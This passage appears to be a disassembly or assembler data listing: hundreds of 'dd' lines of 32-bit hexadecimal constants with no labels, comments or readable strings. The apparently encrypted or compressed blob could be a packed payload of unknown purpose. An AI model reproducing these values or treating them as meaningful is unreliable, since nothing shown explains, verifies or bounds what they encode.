0BE221E8h, 5362B1A4h, 0E4CC49A2h, 0B7838B2Fh, 2331CE04h dd 25C9FF01h, 0FA5004E6h, 0C72E04E6h, 1D801C8Bh, 0C23926Ch dd 208AE784h, 10081D92h, 0B7165AB1h, 0ECC13B00h, 0A1EB25E1h dd 0A448C15Eh, 0C6C59A19h, 0E980553h, 2E8B0A1Ah, 5DC774h dd 0DD8323C1h, 60B61435h, 0AE1783BBh, 7F96EEC8h, 0B804454Dh dd 0FB17997Fh, 0E9F8648Ah, 80942879h, 0ED28937Fh, 0DD289227h dd 0BF092227h, 0BEFE1227h, 5BC05906h, 90382E02h, 0FFCC6578h dd 92FA7BAFh, 0F2FF4F2Eh, 28C04148h, 5847C309h, 8349C399h dd 0B0686F68h, 0AC8A7FFFh, 401086B2h, 90444E64h, 0A431BEE8h dd 0E0FA0FFBh, 9C76104h, 2E9120FEh, 3684EC42h, 3D6050E8h dd 91F06814h, 0AC78B106h, 2C8A1AAh, 2A875096h, 1D9A187Dh dd 0A47FB811h, 0EE800D40h, 0FF5D705h, 0AD40E143h, 98B358CEh dd 0D9F672DFh, 0CBA49750h, 0A5681EDBh, 0CC3E5308h, 417343D7h dd 5C6DCBD6h, 0E51EEA2h, 4401FE4Dh, 90426540h, 0ED19828Bh dd 1E53035Fh, 8FDDA412h, 14634AEh, 51901084h, 0C885412Bh dd 652A8B16h, 74C865A2h, 2ECF8993h, 0CB3BD256h, 0FF83B9F3h dd 0D450919Eh, 0F9C4BB05h, 0A67A2841h, 0B30317Bh, 181BE90Ch dd 2605214Bh, 47933D73h, 0D08494BDh, 8C048CA6h, 5C8C3308h dd 7F915D91h, 25FAB144h, 28A2B510h, 0D299B746h, 58814870h dd 62109C6Bh, 79DC62FEh, 7512BA98h, 240D8F88h, 0A3A1E73h dd 30CBACF3h, 6A9452FCh dd 95DFF054h, 8245C443h, 48618607h, 3999F33Bh, 0DEEAFCFh dd 1F3E7AFBh, 0CA3BA9BDh, 0A823E182h, 304467AEh, 609886C2h dd 0BA558F5Dh, 0F87DBE9Ah, 0B94E43D4h, 0CD899E20h, 0C40F4442h dd 13B3028Dh, 0C694F81Ah, 25D2B7D5h, 7483C205h, 0B69C0CB9h dd 0CE14EBD1h, 4CAD0387h, 7875C0D3h, 0C0BE0540h, 0B8B19C63h dd 20102D80h, 7AC27F05h, 2BF7B358h, 0E91A430h, 0B2FF45F4h dd 0B6699784h, 469B3FB8h, 1A73C633h, 2DC1A88Bh, 936F3B84h dd 8016CD19h, 6B4C7CCFh, 0F1EC95E5h, 44EF7CEEh, 1C81E4BAh dd 0EBF6D1C0h, 0D7EDFE2h, 3B8AC4B7h, 0F6827596h, 2B480A16h dd 2ABB6A8h, 3DF0237Fh, 0BD706973h, 10212040h, 1F956330h dd 0E63481D6h, 0D34841E5h, 0C433BB88h, 51420230h, 0C0978BB0h dd 5F276Ch, 0CF704B25h, 0B68823B7h, 0CEA8F4AFh, 82915D2Bh dd 85D58ADEh, 30BF3FF4h, 1C7C1582h, 0E8EAD8B5h, 0ADA89F1Bh dd 75288B44h, 0D6509245h, 3E5140A5h, 0B82AE3DEh, 0A12D6DBBh dd 5935A9C1h, 0F4DC975Dh, 3DD06598h, 6131452Bh, 2ED1C07Bh dd 0CDB0704Eh, 9EB5E30Ah, 28127281h, 5C3FC4C1h, 3DD00EE6h dd 1084350Dh, 1720509h, 0C1055961h, 0A19A18BDh, 7192DD03h dd 0FD7F217Eh, 0DC5A1897h, 0F5759B96h, 615A4340h, 278B90BCh dd 0D0C48A32h, 6F23F414h, 6C021B27h, 6F5F4001h, 40BEAA5Fh dd 35D902C2h, 6C59B6A9h, 0C5926DA6h, 0FF54E494h, 0DD8E4940h dd 0B1090199h, 855531DDh, 0A5D56A3h, 8E305F4h, 3C029D65h dd 15AA16BDh, 0F964C823h, 0BA834ADDh, 1A460537h, 462C163Fh dd 962672D7h, 89111956h, 90313CA5h, 84148B3Ch, 0E2AB5BD1h dd 8D62DD0Bh, 0CECC28Ah, 24A003B9h, 19B3FF04h, 0A625C38h dd 0E69F011h, 417F89FDh, 70784FCh, 0C0F8CA04h, 118C104h dd 6AB061F8h, 0DF3A859Bh, 74B0FF32h, 0EF0F941Ah, 0EB0A37D6h dd 916A85FEh, 0A637F8Fh, 0FD32D8A0h, 9580267h, 4A30AD1h dd 0BFAB7B47h, 99D671F8h, 8B4F4A15h, 0D607F686h, 0AB8E5FA8h dd 1545F21Bh, 2D1D10Ch, 9FAFC769h, 8D88A468h, 9780A2EEh dd 6EE92DADh, 0C6E890BFh, 48C20719h, 4438CDDDh, 68D0BE20h dd 6A15366Ch, 74B6F44Ah, 0D9B55EE5h, 3F51E9B3h, 0A29DD674h dd 3029D398h, 0D42A1B2Ch, 760210Ah, 7A953982h, 48812080h dd 0FA1CF610h, 0FFCEFF30h, 0E0C031EFh, 0D810F826h, 0D51650C4h dd 92B80C76h, 80E3F394h, 6C0A85C5h, 0AB0EB00Bh, 9905A62Eh dd 56C4E0FAh, 8EFF3C4Ch, 94885BE3h, 0B28B9F17h, 0B3C96249h dd 7ECA66FBh, 8053243Fh, 30180405h, 99BEDBF1h, 0D53A3296h dd 8246CDF5h, 0F7E8998Ah, 7E16C411h, 8D821638h, 16D2A943h dd 78B0CBAh, 62968138h, 0FEA7E652h, 6E5BB405h, 970B485Fh dd 0F336C050h, 440BD700h, 3026A7D5h, 1D03B1A6h, 6685310Dh dd 313955C6h, 84B20247h, 0F4316086h, 77805213h, 0F41D566Bh dd 32E972A6h, 8B47F583h, 8A70F990h, 5748823Ch, 55942730h dd 45E90EBAh, 0D8100443h, 5F6D0071h, 32CC9325h, 788E14D7h dd 0E16E3AB5h, 0D50995CEh, 0A11BBF84h, 7E96F32Eh, 228F0C2h dd 0B8ABB8D3h, 2870E965h, 0DF4C418Eh, 29840C7Ch, 63AB5556h dd 4417AA40h, 5444B14Ah, 40882AA9h, 8B0D9E64h, 54463A86h dd 2A66ED01h, 0B1A6FE82h, 0E0234CBCh, 0CC0AF2BEh, 55DF04AAh dd 0CFB45D43h, 0C715AC5Dh, 5D1E17B8h, 0CF0101ABh, 0B33CA958h dd 4485B6Fh, 76EBE1A1h, 8A3EB017h, 277E2C11h, 0F1DBC681h dd 7EBDBD3Dh, 629F7547h, 0E501CB50h, 6C778A83h, 45ECDFAFh dd 8EAFEBB3h, 5AA02739h, 0F396411Bh, 41E1CEADh, 479A8824h dd 3A9E1515h, 0C2425FFAh, 0F0DAB6A7h, 0D6558503h, 0E9A39295h dd 0AE386EDFh, 30A7BA55h, 0A54DF98Ah, 0A0B26108h, 835C8919h dd 7338ACAFh, 6F31FA05h, 33A1DAh, 695F7A7Eh, 0A6B8A8C9h dd 529B7B8Dh, 7FE10627h, 2322E8EBh, 995DDA67h, 0C2F93AE3h dd 4CEC2BCBh, 0F0CB8DACh, 78AEF452h, 2C13AEF7h, 677A1875h dd 152D4452h, 7F59BAF7h, 0EC3E01FCh, 0D59AC03Eh, 0EF7EA534h dd 4EAB34EFh, 5342ADE0h, 2F458A55h, 49C26C9Dh, 0AEAC38F7h dd 0C0ED74B6h, 9BA68B1Dh, 49C356DEh, 4DFEAA3Fh, 599B71A6h dd 3D1BA95Ch, 2888E9Ah, 0B049B5F5h, 8C867631h, 9671B2B9h dd 6984D574h, 0B6BFD711h, 0BCC7FE62h, 8E8DE2EBh, 0A6116204h dd 8C243472h, 93624697h, 0AD73902Bh, 138E5817h, 0E025D75Bh dd 8F08A31Dh, 0CCC45D62h, 27951304h, 5599835Dh, 0EF6A65F6h dd 0C23688B9h, 2E02BA4Ah, 0A778A0C1h, 75AFE3B0h, 0B5417E9h dd 0D748A281h, 0F9900F03h, 0D95C2AEDh, 0C2881627h, 780AE805h dd 0B398C6D9h, 0C6BAE2D3h, 0AF910151h, 0C3E04064h, 0DF2683F0h dd 0D8827C18h, 58161655h, 68BFB9E7h, 0B3FF683Ah, 0E282A649h dd 4EC13AD7h, 8600DFA9h, 0BA79CF60h, 75A183FCh, 54A3173Eh dd 9A1A0365h, 70AB8835h, 3F52DE99h, 4A2B377Ah, 2F2C4908h dd 1E509869h, 0B573E1A0h, 8B20235Dh, 0C49F6951h, 0A64850EAh dd 0BB43AC81h, 9C573356h, 9F3FC101h, 8BBF78D2h, 23461486h dd 5F85E58Eh, 14D52B95h, 0D00A4AA0h, 1D661070h, 4FE2DDD3h dd 6F715BA3h, 9CBDFBCAh, 8D55E0A2h, 735CA9A7h, 3E759B0Ah dd 202A5591h, 33B65A78h, 0EFCFE734h, 0DE8B575Ch, 1307A2E6h dd 0AE7E0887h, 0AFB282FEh, 5CE7D1CAh, 5F73E959h, 91F2D154h dd 198817C8h, 0FA639781h, 5FC20A82h, 87E2F1C9h, 37F37FAh dd 785F38C3h, 55C477E5h, 0AA9FEB9Eh, 62EB9EA9h, 0F434F9E4h dd 789C3F0Eh, 0F2C5DFC7h, 5D6DE77Bh, 989EA54h, 85DCB51Dh dd 1D878663h, 0ABF67A5h, 32E4E2F9h, 0C3F5C105h, 0F3AE5717h dd 0E6B0BB2Ah, 234D5973h, 0F578A3A3h, 0DA6CB323h, 7E7B835Fh dd 0EB993ED7h, 90609DF0h, 3E31A708h, 498ABA5h, 20DB07DFh dd 18DAEE3Dh, 75B63A56h, 71657105h, 4FA74E56h, 3BFD531Dh dd 37C1AF7Bh, 0DAEADFEEh, 0F1B2DDB9h, 0B5116AA4h, 7951F214h dd 28937533h, 9485C5Bh, 0BA8BEB02h, 3274CCACh, 0B296C562h dd 74DD7D2Eh, 0C4C117F8h, 0A463908Eh, 102798ACh, 0C85470DEh dd 0BEF41F62h, 4E2ADF6Fh, 381E1284h, 9D901C8Eh, 453830D7h dd 5CB3756Eh, 0B9943435h, 0D9523955h, 0BDC37D14h, 3DB24D72h dd 4615ABBEh, 9D028EF2h, 30EA60E9h, 64325684h, 0DAFA290Ah dd 5841A0AAh, 0BA8791B5h, 35E2D4E3h, 560F8A2Eh, 9D29BA2Ah dd 754BC413h, 0B1C843B9h, 0B108AC03h, 830431A3h, 0E6FE7EDAh dd 51C992BAh, 80AA908Ch, 5D7B240Bh, 8FE13C05h, 0A181384Eh dd 0AE86BF82h, 42BDFDB3h, 60226840h, 1E4496D2h, 27B88121h dd 0DA625271h, 0DA640A48h, 8A28E1D8h, 81294649h, 0E20C6BC5h dd 0EC0BCA80h, 4205FAE4h, 34143982h, 1786EBF4h, 86241EF6h dd 6298B035h, 983424DDh, 98045749h, 2805942Dh, 3B8B9291h dd 0B2B8903Eh, 0E1BE2A2Bh, 0BB2ABE62h, 0B550B2Ah, 0B79798DFh dd 7CF7951Dh, 7B8B9233h, 97D7F291h, 2A012EA5h, 7B890CA3h dd 77AF18FFh, 255F160h, 4E260079h, 2F0906F1h, 89956C0Eh dd 0A8C5C541h, 24EC443h, 309C8A16h, 0CE710934h, 579E9BAFh dd 0E4B04DFEh, 0CA44F3D4h, 1A1FE2A8h, 232C4C2Ah, 2C519DA6h dd 283524F1h, 972F39D7h, 1A011D56h, 663CA80Ch, 0E6CAC3F3h dd 2944C07h, 93DFCE60h, 52305606h, 85D38BE8h, 1CC41389h dd 0F151F467h, 66B70654h, 0D20C89D4h, 14207580h, 964FC2A8h dd 64C4845Eh, 3903B2C0h dd 7230068Eh, 97A524F7h, 0F16AB3CAh, 5D4574F2h, 0AE91B919h dd 0ACE7E625h, 735897B6h, 8506EF17h, 220914AEh, 0A84F18B5h dd 0D0B1EB88h, 3032C0CBh, 22A02CC7h, 0C4E93806h, 4CD5F0A9h dd 0BA3A261h, 6540B17Fh, 0EEBFF8D4h, 0EFCFCC0Fh, 75F104F8h dd 0CB4470A9h, 7127BE62h, 8A95C072h, 9224AA9Bh, 0EBE43AB2h dd 5433C944h, 9556E432h, 7AE4B977h, 67EF4859h, 71BB19DFh dd 8E852E5Eh, 0DB40F845h, 0B5EB8C71h, 740038DCh, 7E82BCBBh dd 361B5219h, 0C267B15Dh, 977260C9h, 0FE7A2C60h, 5F3CFCEh dd 0D8BAF758h, 7B1CBF23h, 0FCF9AC51h, 9C1CA190h, 0FD5B733Ch dd 1F2CEA5Ah, 0A1E25F88h, 5F62A970h, 0FCB4CA8Ch, 0EB069839h dd 0CC63BFCEh, 175BE340h, 0D1836E70h, 4CC2842Fh, 98B55463h dd 554E8CF6h, 4419E636h, 8C38D4Ch, 31CD42Eh, 65490A9h dd 0D5DF829Fh, 0B4AFEFFDh, 0AE9EBFA8h, 3FD4BD03h, 9647B44Eh dd 0A67D15F9h, 84F97082h, 31B4B770h, 38D52C4h, 0E2E8E78Ch dd 0CEF06A2h, 920ED3Eh, 0CC17A4B8h, 509948Bh, 0A762EFD8h dd 85666D19h, 0ABFFC97Ch, 18366D45h, 8277FF9h, 27112F84h dd 0FB41D10Ah, 6F866258h, 30137C8Dh, 0D61E1977h, 94139985h dd 0A54BE8DFh, 324DAEE8h, 0C572F33Dh, 0B9AAB2AAh, 4E8A8EF9h dd 907939D6h, 21D4B0A5h, 36CB2A20h, 0D2C02AA9h, 2FC08B15h dd 0BAC6316Ah, 0B59F01FBh, 2DEF178Eh, 0C3BBB9BDh, 0F1D7C0B5h dd 16507855h, 2AF51A4Eh, 0CAC218C3h, 8162F7A8h, 9F024AC9h dd 63B091A1h, 0A83E515Eh, 3B188095h, 81F11610h, 18B2606Eh dd 2101C9F2h, 41314E8Ch, 5C652DBAh, 0EEA511FFh, 5D4674E6h dd 0B3ED4D74h, 16C6778Ah, 0D7F62CA7h, 5F861087h, 73737AFEh dd 74155794h, 34B18DD0h, 3D149692h, 0D9B0DDCEh, 0D305EAFEh dd 6998AD7Bh, 0DE130276h, 0B2F9CB3h, 0DDA658F2h, 0CAC73A37h dd 0D2E6F5ABh, 4C334A31h, 2E120166h, 2B333C86h, 2DF723AEh dd 0A6F14DF7h, 699887D1h, 719A67ECh, 4D2E85A0h, 1941E08Bh dd 8E5C2EA0h, 4800D7CBh, 0AB8A78C7h, 8F94FFE0h, 5616604h dd 83AEAC5Dh, 0B67CF85Ch, 0CB09DE34h, 16EE8C9Fh, 5FF33412h dd 14C600A1h, 4BA919A9h, 1F3CD7A0h, 9198EA7h, 67C0FF19h dd 21F86202h, 0ACDFC763h, 61274CB2h, 85D6DE45h, 23453972h dd 13021648h, 3C5A4802h, 0AD5FABF5h, 93C1ACACh, 6220EE44h dd 0E06E04BCh, 5DC0D466h, 2AD57E3Dh, 551AEEA6h, 0C9C09D18h dd 50C5BFDh, 108E787Ch, 6445C31h, 32573502h, 992249A3h dd 0BA091F29h, 0BB1817C8h, 29A6FE2Eh, 174F14A6h, 0FBF613B3h dd 89E2F46h, 7C2E36Dh, 33953F06h, 0E5BAE581h, 0E97C70E4h dd 7D6350B5h, 47260B50h, 9B0D006h, 0B3D73A8Ch, 0D2FF5585h dd 55660D65h, 29392468h, 4B642816h, 3311AABAh, 0C3DD318Bh dd 145210F5h, 2210D8EEh, 6269F89Eh, 0BC21C207h, 30DBBF8Bh dd 0AAABDBBDh, 8FC35527h, 0EF8DF411h, 0A6E287D0h, 491DC57Eh dd 1590EAF0h, 416157F0h, 0C7DCFDFBh, 8A6FA658h, 0DF660B03h dd 1C48D74Fh, 89EC82CCh, 0DA050E01h, 0B889E48Dh, 0E41103E1h dd 6FA4D6DFh, 0C834546Dh, 0ED453F59h, 0A599CC40h, 0C5509D48h dd 0F0D6DCA5h, 0EF951881h, 1FA7B40Dh, 34981615h, 0C731B081h dd 1F93E368h, 7A1C4670h, 8CCCAE3h, 0BF73501Ah, 9140291Eh dd 0DD60ED77h, 73AC5E9Ch, 0D709E5B8h, 58C84463h, 0BD0FF70h dd 55B219C8h, 96A93FECh, 0DF29EC46h, 0AA2282A8h, 0C38C0376h dd 0A8CF809h, 19A340A8h, 5C12C55Bh, 0E8A32BCAh, 44C45D6Bh dd 0C6910E9Bh, 0B27C95CCh, 31BE9B95h, 18B254EBh, 0EE438DE2h dd 57464E70h, 999FB84Eh, 6227F5C2h, 0DA9D4FBFh, 0FF99D32Bh dd 924D95C5h, 0FDFF79AFh, 4243CFA2h, 8CD4E56Bh, 0AE588372h dd 60D0EA2Eh, 0FBB2087Eh, 317C053Bh, 3BAC7C7Ch, 0D2BE127Dh dd 0F0552F0Bh, 0E51747AFh, 42EC0512h, 46D15EEEh, 0B0001370h dd 0E8908249h, 612226A3h, 0B48CAB94h, 3924E8ACh, 628901B3h dd 263E048Bh, 8A393F90h, 56979B0Ah, 3A475D14h, 44A78B9Bh dd 8AFDE547h, 0CDFA36D4h, 0D78A118Eh, 7192CFC7h, 54A83A1Bh dd 3700E647h, 4627ABB7h, 8D48E601h, 11957756h, 7C69B4Eh dd 660E039Ah, 0CC0027C7h, 0FBB328EDh, 0CC638B8Bh, 0CDD02341h dd 8E196EE7h, 5FE1E08Fh, 66DC85E0h, 5877AEADh, 0A3335953h dd 1446AE04h, 1C2F28E2h, 0E08D0565h, 0D9370BD6h, 0D53C7397h dd 0D865DCA8h, 3A0B8E95h, 0D0C1F173h, 67113AC3h, 2D5C8957h dd 8A02E515h, 4539AD23h, 0E1B7E851h, 82BDCC5Ah, 394509A1h dd 0DC73881Fh, 3E4529C3h, 36BAAA28h, 54415F5Bh, 6B978E32h dd 551377B1h, 2E492D07h, 2FCAD566h, 15683EAh, 0A08ACA6Eh dd 69E32E73h, 0C9C2DF37h, 97318B9h, 20972CA7h, 0DE124CAEh dd 21DF2EEDh, 8A1B8EA5h, 0E09E09E1h, 9306A088h, 4B316367h dd 90E733EEh, 6515E4AFh, 16BB448Ch, 75801ABBh, 0A10F47BDh dd 58FDDE9Ch, 0C96ACE70h, 12893F97h, 0E90AFC28h, 0E8F8D72Eh dd 0D7F3C541h, 0FF944E05h, 0A0E588AFh, 47398613h, 98DA010Eh dd 7181485Dh, 334E6F5Ch, 8329A452h, 28DC3290h, 2DD21AEBh dd 868B5F8Bh, 0B33EBE02h, 0A9975690h, 2ADC0C43h, 0ED06B292h dd 61BAC913h, 528240F1h, 0BB744780h, 4DDD5A32h, 0C1812B30h dd 3EF3BF5Ch, 4765956Eh, 0AD44D717h, 555029D5h, 0BD3457C9h dd 55AD2179h, 0A1102388h, 0AA6A0B5Dh, 55D41580h, 0A51EC28Eh dd 0C9AE872Ah, 0B485B8EEh, 52DD7760h, 9F86F1h, 27148D50h dd 7E05D1DCh, 196DCE5Dh, 0FC4BE9A0h, 0BBE037D9h, 54F43505h dd 5E429ACh, 1972D1D5h, 5D450147h, 368AD9FEh, 34827D63h dd 2B9987F9h, 9DA3DA9Dh, 70679DABh, 88357FBh, 0D09133A2h dd 0F1248861h, 0A0A997C5h, 2851AA85h, 6728C017h, 2609CE0Dh dd 0CB5D548Eh, 88FA24E1h, 258FB36h, 0AA06FD35h, 6F82FB8Dh dd 0BC0D595Dh, 2D1BA016h, 0C3733D71h, 0B3BA9715h, 745E45EAh dd 5CC6DDCDh, 848BD067h, 2598EB6h, 0AEC30323h, 0A7EA5EE1h dd 727F838Fh, 716E34B5h, 0EFD9FF2Dh, 2D8A0C07h, 3FA02DEFh dd 3538A2C3h, 0C12D73C7h, 9CFE83BBh, 3CB402C5h, 77433BA8h dd 4EBEA134h, 9DC4EC6Ch, 4335ADC8h, 2EA1668Dh, 83B0057Dh dd 41BADD3Bh, 0FE0571DDh, 0C5525DEh, 0EA5EE7B0h, 7D81EA2Eh dd 75951094h, 0F4460207h, 0D87BBB65h, 0C72870CAh, 0A78615D7h dd 0EED97CA2h, 60587AE5h, 413DCD1Ch, 3EC8D226h, 0EBEA67A0h dd 70E7B4CEh, 144A0DD0h, 75E62670h, 73B3F1B8h, 0EEC42995h dd 3B14BA45h, 0B29BD11Dh, 0C9ACA4D3h, 457F762Ch, 33790911h dd 8F2E918Eh, 0F346861Bh, 0F796DA6Bh, 0DD5D7745h, 111E12EDh dd 0AD28B4CBh, 8502BF2Ah, 59778B72h, 0BF4E72CDh, 28D47F46h dd 45FA2040h, 87B78B6Ch, 2DBE358Ah, 0FD70DE1Dh, 0C2B3E4D1h dd 50293B54h, 7FF48884h, 47E240E9h, 18BE958Ah, 13F96221h dd 6BBB44B0h, 0C1C4A968h, 0DD3E0264h, 26272C9Ch, 0AC17FFE2h dd 6328D31Bh, 6FD0FF41h, 83DE8AE3h, 79511ABBh, 19F41970h dd 0D0C87C00h, 8506EA22h, 0E4557EDEh, 1F4DA999h, 0F6EFAAFCh dd 0BF53FFFFh, 7ABF9123h, 98A684Eh, 101D48E5h, 1CA91224h dd 0FD8595FCh, 76742A9Fh, 9884EDABh, 84F14DCBh, 94052B54h dd 7646314h, 9575E5FCh, 32158E8Eh, 2B338931h, 0AFC5C7Eh dd 0BA60ED0Eh, 525F891Eh, 0DBFE4E40h, 0A190E750h, 3275717Ch dd 827485F8h, 98FF42BCh dd 179CD515h, 0D11088CEh, 863DBFD3h, 0DC765EA3h, 2E0F8A80h dd 2FA6607Dh, 81E3ACECh, 36176393h, 586AB0Eh, 0A784AD89h dd 7CF6444Bh, 305C5161h, 0A8D22DCBh, 17C01EADh, 1ACEAF45h dd 3293CC54h, 0D1E282FBh, 0A1D4417Dh, 6C44BACFh, 0A38238A7h dd 0C5FF4301h, 0ACC4EBF0h, 0CAB934A4h, 0C4DC1B7h, 0A4A2771Dh dd 0D530DCBh, 80698C64h, 7263F3Ah, 4EF40455h, 0B7158C38h dd 0EC4D9155h, 5E3266A9h, 0A6A7CE19h, 0B2AAEEA6h, 3F6A3195h dd 25F67CE1h, 0A2BBB933h, 0DFB02B47h, 832A7697h, 2B2B4FB5h dd 91C0ABF1h, 4707F1C2h, 391C753Bh, 0AE5318C2h, 41954A30h dd 0A2086C64h, 38CACA6Fh, 2AEAB461h, 39C43760h, 9F68ABEh dd 89F64011h, 0BBAF49FAh, 8266217Dh, 5374D030h, 8A2738AEh dd 23096116h, 95CA4413h, 0DE604711h, 3DF596A6h, 0C0A2EAE5h dd 0D5F53EEAh, 0E660576Bh, 0B9CEBECh, 24053F34h, 0FD6F5405h dd 0EAE1A0D0h, 4C5343A7h, 0C7CE2F8h, 91D2180Fh, 36A4DFA1h dd 69040FCFh, 3BEE76CAh, 0C82B31A2h, 7F3E4E47h, 0D749C1F0h dd 0AA7D04EAh, 0E3708A84h, 0A897A77Fh, 0FB50B519h, 0EBE3BF6Ch dd 663A2395h, 0BCADCBE0h, 4848EBC4h, 0A24C64D7h, 3C5561AFh dd 71103073h, 0AA495D7h, 0F23BC7E0h, 66014299h, 0C6202B6Eh dd 1806FCDAh, 40810A44h, 7C63C08h, 5FD6908Eh, 0AD37D494h dd 5FB85E7Eh, 0AB85103h, 1EF80F01h, 0CBF83E79h, 0A0AECEDCh dd 17584DCBh, 9040617Ch, 47A66AE0h, 0DDDFEF9Fh, 3C1A84ECh dd 0A811714Eh, 21ABB256h, 1AB34AC0h, 80161221h, 50044627h dd 630A3A9Ah, 39C6C5CDh, 0C1CC2FE5h, 1035AC37h, 2E8EBD0Bh dd 1B19D4DCh, 5A8B040Ah, 0C1691504h, 5782F4BCh, 0BE0B583Eh dd 3E27858Dh, 59EA65AAh, 0DADA1599h, 83AF074Ch, 0C1187985h dd 0FE9FF056h, 0D2C2101Fh, 318D8BEFh, 5291D502h, 621570F0h dd 0BB7363BCh, 6437BE7Eh, 3E882EC6h, 7CC22B32h, 14ECB5E0h dd 0C146C429h, 0E9591F3Bh, 4A107693h, 6981965Ch, 98C07863h dd 90E0A18Bh, 3DA2FE58h, 56BB01C7h, 6F0BE522h, 4AC20F5Ch dd 0E225C9BAh, 19D8681Fh, 18CFEE50h, 9C1D4518h, 1A90F1BBh dd 6262F455h, 179EF5A8h, 0A1B72D5Fh, 90C48B12h, 90BF006Bh dd 106969E0h, 0DA8A0B13h, 0BC497D86h, 0F9ED658h, 0C2E85F21h dd 4314ADF6h, 68480D0Fh, 58FE63DAh, 642595C3h, 0E24C49DFh dd 88941926h, 3F1E91DDh, 492BECA4h, 1929AE83h, 380DA2FCh dd 47713A81h, 0A2C6BA56h, 443A9303h, 3BF5321Ch, 8439C8CFh dd 9A8EDA90h, 897AFFF6h, 0A6AA9F9Dh, 0D75F4094h, 0B99D63EFh dd 99BE2992h, 3AB562ECh, 7B9E4F0h, 1775C204h, 4C28AAAh dd 0DE67FA1Eh, 624ADF03h, 1545CF9Ch, 1F1981AAh, 3E62F153h dd 0A13BA438h, 7C7D8AC1h, 2156E740h, 95650BE3h, 85D026E9h dd 4DF7452Ch, 0D2791ACFh, 0FC66A55Bh, 5CE6D9B1h, 56F2B966h dd 0F6966A06h, 5C60B880h, 0AF7A89B3h, 8C709266h, 0CD68CC9Eh dd 0C5E70270h, 0DFFACD5Ah, 2BFA9169h, 2108E504h, 0CBD16621h dd 8FB39899h, 99AF99EBh, 1A3E6747h, 62AC5959h, 998E4CD7h dd 48BCB718h, 0CC502F9Fh, 0A068F797h, 86C7668Dh, 0A82DF98Bh dd 2E4F18E2h, 0FBD04873h, 3B5732E2h, 70903AA2h, 0DB3A62BEh dd 0EE3B99F6h, 0D9184BB4h, 7E331068h, 3A339F68h, 81A65AAEh dd 0EBE246D9h, 7DA0975Fh, 7CE462CFh, 2C549074h, 2C6C79F4h dd 1C566491h, 0D08271F5h, 0CBE062FCh, 67601606h, 0B15C7EA8h dd 79910862h, 3C51E722h, 358AEEB3h, 23E74BE6h, 9EF0C39Fh dd 0DF583155h, 59574985h, 0F8C6AA01h, 9F153A43h, 0C57EE0D6h dd 76AF43A0h, 0EA20DB64h, 0F32B5DFCh, 0F1882355h, 0EFD90DD3h dd 5E1DA7B3h, 0C8598DF2h, 0C9022624h, 0BE0CB631h, 8175466Bh dd 56A51FE6h, 89AC3ABFh, 447D57C9h, 4890C10Ah, 0A91D70A0h dd 0DC665D60h, 42F78CD7h, 0AE881451h, 0DCA7A667h, 0A285BDDEh dd 3F768080h, 4C11F4C1h, 54459627h, 0F25473BBh, 79BC5720h dd 0FE2876B0h, 0ED34ECD8h, 8465A16Ah, 0C5574F5Ch, 0DB8491DAh dd 0D34445BBh, 13492508h, 1C2955F2h, 34F1476Bh, 0FCD00942h dd 50BF3462h, 0F862CF14h, 72A2D213h, 0D11FBDF3h, 0EF5F84A4h dd 76662708h, 0DD801E88h, 210CE856h, 0E4CE30C2h, 4AB8A31Ah dd 19B36BB2h, 0C6321A64h, 638B9Bh, 9A859E66h, 28036801h dd 6C107F23h, 57783388h, 0F2DFCA5Dh, 0C498EF4h, 2A059C89h dd 5D214D66h, 25613C90h, 45608561h, 0B7580561h, 0D64B8561h dd 5C61D0Bh, 0CC2E6730h, 97994FCFh, 0FAC81F87h, 0C5725566h dd 9847F150h, 0CDBB301Eh, 0E629E6BFh, 0EB16C19Ah, 0A4255EBEh dd 0E9D42490h, 4009524Ch, 7C7505D1h, 8F45D67Dh, 53F7DE29h dd 4340223Bh, 843315BAh, 61EE9317h, 5CCACF5Eh, 660877AFh dd 0AE90959h, 5802C62Eh, 3599A266h, 0B0484041h, 35176150h dd 0A3A58C5h, 96B66D4Bh, 0BA4A3A2Ch, 4AC9792Bh, 32BB0ACBh dd 387E275Ch, 0FA429334h, 0F44039F6h, 0C26B45Bh, 5338AD8Ch dd 10DA0896h, 0BC0DF940h, 2D8DA0DEh, 0B76128B4h, 0C3F0ABBFh dd 0E00D5ABBh, 5A1FD527h, 2A81857h, 0E98384AAh, 9AC09E2Bh dd 0E1584C82h, 71A9CDF0h, 0FE5581BDh, 6919E4E6h, 99FC9F33h dd 0B878B9C2h, 98880BCAh, 0E321883Bh, 5F7CBF33h, 6D5D805Eh dd 0FB124C24h, 457C4989h, 0F1229614h, 19A41160h, 0F5C124A0h dd 0D60E2726h, 0D8ECBFF4h, 7AA88BA7h, 5181605Ah, 0F93DD0B4h dd 4466E4BEh, 565B7BB0h, 0A4B1000Dh, 889A8B70h, 2BFDEA31h dd 0EB180C6Dh, 0D0689A6h, 0B542CACBh, 95FCEF07h, 69A8417Dh dd 9DE19055h, 0E0CE4410h, 6DF03E12h, 0C0168422h, 206574DCh dd 4F41EBh, 3188102h, 0D9F9158Dh, 67906310h, 0E19B964Ch dd 0C2AD8BB6h, 0AB059250h, 0D7DB963Dh, 9471C3FBh, 0D2AD482Eh dd 0D53F63FFh, 0BC6DA51h, 0D106C2A4h, 0BE77CB17h, 0CA698D42h dd 708CD3B4h, 2C5E57EFh, 0F80B5627h, 0B7C9763h, 8E17EFDEh dd 396281FFh, 8F64A7B2h, 0D5044121h, 0B36A65A8h, 342F4FAEh dd 85DE8534h, 0A7AFDC11h, 0B33E3A1Dh, 0CB1F7C3Fh, 0D6644988h dd 0DF0CD482h, 63D01637h, 6A116D32h, 0BFC2C0FEh, 0CF1F40B0h dd 0B9A858FFh, 0F067AE0Bh, 0C2918208h, 0B6C60DC2h, 0D9F19CD2h dd 2B4C8CC0h, 41A16669h, 27EC949Bh, 45D5A7E0h, 68EC531Fh dd 0CB72290Bh, 0A725AD67h, 818FBF6Eh, 2FBF52Fh, 6140A2FBh dd 0BA9F620h, 8C21051Ah, 56668020h, 1B21A442h, 358E393Dh dd 7ADE54F7h, 67E81CD8h, 0D407188Ch, 0DD600B77h, 0E8D6AEDBh dd 6D41754Bh, 0D1031BCh, 828636FBh, 5AC00DF6h, 8A5FCB9h dd 66626910h, 120D609h, 121B54E2h, 1BE942E5h, 0F8D035Ch dd 0E083481Eh, 0C3105429h, 3968AF2Eh, 0A9C6E2BAh, 2CD8AAD7h dd 0C345C5F6h, 450E19DAh, 0B7DD90B9h, 90C5FCF1h, 38C5C2C4h dd 3A0BC9BAh, 0BD4E655Dh, 1CE30FDh, 236014D2h, 0E5D85D81h dd 6E13BA96h, 4CF8742Dh, 793EC6DAh, 0B8C2323Eh, 48CBBADh dd 141729F9h, 